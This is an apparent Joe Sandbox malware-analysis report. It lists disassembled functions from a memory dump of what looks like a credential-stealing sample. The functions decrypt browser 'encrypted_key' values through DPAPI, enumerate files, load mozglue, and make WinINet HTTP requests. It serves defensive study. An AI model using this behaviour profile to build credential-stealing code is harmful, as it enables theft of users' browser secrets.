Part of subcall function 00EE9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00EE9BA3
Part of subcall function 00EE9B60: LocalFree.KERNEL32(?), ref: 00EE9BD3

Strings

, xrefs: 00EE9DC1
"encrypted_key":", xrefs: 00EE9D30
DPAPI, xrefs: 00EE9D89

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6830d707ebc3c885e711887e450adb53e7c043c45ceb36b9d5e7b9eeb11ac7a1
Instruction ID: d7ab30a8d45d83b93cc2a1c25a6b6d4b5e086c327fe7cc1108aeb38541b45789
Opcode Fuzzy Hash: 6830d707ebc3c885e711887e450adb53e7c043c45ceb36b9d5e7b9eeb11ac7a1
Instruction Fuzzy Hash: A9312DB6D1021DABCF14DBE5DC85AEEB7F8AB48304F145519E905B7242E7309A04CBA1

Function 00EF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,017589A0,?,00F0110C,?,00000000,?,00F01110,?,00000000,00F00AEF), ref: 00EF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EF6AE8
CloseHandle.KERNEL32(00000000), ref: 00EF6AF9
Sleep.KERNEL32(00001770), ref: 00EF6B04
CloseHandle.KERNEL32(?,00000000,?,017589A0,?,00F0110C,?,00000000,?,00F01110,?,00000000,00F00AEF), ref: 00EF6B1A
ExitProcess.KERNEL32 ref: 00EF6B22

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 8b2f61df810dfc045d0e74668b9466c6205055969d374fb39aefd668b5200a49
Instruction ID: e8bbb8be2741014d91c53b143306210d14da6db4750cf8ac2d2e03e7ca8cd54f
Opcode Fuzzy Hash: 8b2f61df810dfc045d0e74668b9466c6205055969d374fb39aefd668b5200a49
Instruction Fuzzy Hash: 51F03A7094060DBBEB30AFA0AC0ABBD7B74EF54701F106524F713B6581CBB05580D655

Function 00EE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

Strings

<, xrefs: 00EE47C9

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 52bd97d4f884b28bae52456554990e1c8a3aff312cc50f2332513d753bf95ef0
Instruction ID: 492362530b6994a8142e262fb995357e1723ea7ef5d1f74cf1e764d35abb52b3
Opcode Fuzzy Hash: 52bd97d4f884b28bae52456554990e1c8a3aff312cc50f2332513d753bf95ef0
Instruction Fuzzy Hash: 2F213EB1D00209ABDF14DFA5EC45ADE7B74FF44320F108625FA25BB291EB706A09CB91

Function 00EF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE6280: InternetOpenA.WININET(00F00DFE,00000001,00000000,00000000,00000000), ref: 00EE62E1
Part of subcall function 00EE6280: StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE6303
Part of subcall function 00EE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE6335
Part of subcall function 00EE6280: HttpOpenRequestA.WININET(00000000,GET,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE6385
Part of subcall function 00EE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EE63BF
Part of subcall function 00EE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EE63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EF5228

Strings

ERROR, xrefs: 00EF5273
ERROR, xrefs: 00EF521A

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 43db05c2fa6cdbbf861f69a3fda4840af78d60ee316789f152415d036ac2813c
Instruction ID: 413811d2f9ad1f195c93981ff491b3e70c1115478e78951135e35cbfa4a28927
Opcode Fuzzy Hash: 43db05c2fa6cdbbf861f69a3fda4840af78d60ee316789f152415d036ac2813c
Instruction Fuzzy Hash: 05114F7180054CA6DB18FF60DC52AFC33B8AF50340F449168FA0E6A1A2EF70AB09C691

Function 00EF4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF4F7A
lstrcat.KERNEL32(?,00F01070), ref: 00EF4F97
lstrcat.KERNEL32(?,01758B70), ref: 00EF4FAB
lstrcat.KERNEL32(?,00F01074), ref: 00EF4FBD

Part of subcall function 00EF4910: wsprintfA.USER32 ref: 00EF492C
Part of subcall function 00EF4910: FindFirstFileA.KERNEL32(?,?), ref: 00EF4943

Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FDC), ref: 00EF4971
Part of subcall function 00EF4910: StrCmpCA.SHLWAPI(?,00F00FE0), ref: 00EF4987
Part of subcall function 00EF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00EF4B7D
Part of subcall function 00EF4910: FindClose.KERNEL32(000000FF), ref: 00EF4B92

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 0cce6b1db05bf4b6477a76ed6c43a52129d7baeba42bbd68270a57b088e28a02
Instruction ID: e44d6de87bc77bf7fec5ec0c20c50523dc2c52096ccc92c6d930b903fa029546
Opcode Fuzzy Hash: 0cce6b1db05bf4b6477a76ed6c43a52129d7baeba42bbd68270a57b088e28a02
Instruction Fuzzy Hash: 012188B690020877C778FB60EC46EEE377CAB94300F404594F659A7585EEB496D88B92

Function 00EF0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01758B00), ref: 00EF079A
StrCmpCA.SHLWAPI(00000000,01758A90), ref: 00EF0866
StrCmpCA.SHLWAPI(00000000,01758A20), ref: 00EF099D

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 36c37f1d47652562f4dfba5ee816d8bd9883d07fe2769e29c02ef5813ae8e7b0
Instruction ID: 75d8b2ee6f303b4f87f5db37e9e279fd839f519018c990e5600032a08129afbe
Opcode Fuzzy Hash: 36c37f1d47652562f4dfba5ee816d8bd9883d07fe2769e29c02ef5813ae8e7b0
Instruction Fuzzy Hash: 0C919975A0024C9FCB28EF64D995EFD77B5BF94300F448529E9099F285DB30AA05CB82

Function 00EF0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01758B00), ref: 00EF079A
StrCmpCA.SHLWAPI(00000000,01758A90), ref: 00EF0866
StrCmpCA.SHLWAPI(00000000,01758A20), ref: 00EF099D

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: b5c4317c2652737a71fd99c0077b66e5f229618b73f629dd37e1b7d1223f38be
Instruction ID: 1f418caf0043b903a41b4f3be61289d25b60ee957bff5368635fbc87c8f0a338
Opcode Fuzzy Hash: b5c4317c2652737a71fd99c0077b66e5f229618b73f629dd37e1b7d1223f38be
Instruction Fuzzy Hash: 91819675B002489FCB28EF64D991EEDB7B5FF94300F548129E9099F285DB30AA05CB82

Function 6C7B3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C7B3095

Part of subcall function 6C7B35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C83F688,00001000), ref: 6C7B35D5
Part of subcall function 6C7B35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7B35E0
Part of subcall function 6C7B35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7B35FD
Part of subcall function 6C7B35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7B363F
Part of subcall function 6C7B35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7B369F
Part of subcall function 6C7B35A0: __aulldiv.LIBCMT ref: 6C7B36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7B309F

Part of subcall function 6C7D5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7D56EE,?,00000001), ref: 6C7D5B85
Part of subcall function 6C7D5B50: EnterCriticalSection.KERNEL32(6C83F688,?,?,?,6C7D56EE,?,00000001), ref: 6C7D5B90
Part of subcall function 6C7D5B50: LeaveCriticalSection.KERNEL32(6C83F688,?,?,?,6C7D56EE,?,00000001), ref: 6C7D5BD8
Part of subcall function 6C7D5B50: GetTickCount64.KERNEL32 ref: 6C7D5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7B30BE

Part of subcall function 6C7B30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C7B3127
Part of subcall function 6C7B30F0: __aulldiv.LIBCMT ref: 6C7B3140

Part of subcall function 6C7EAB2A: __onexit.LIBCMT ref: 6C7EAB30

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
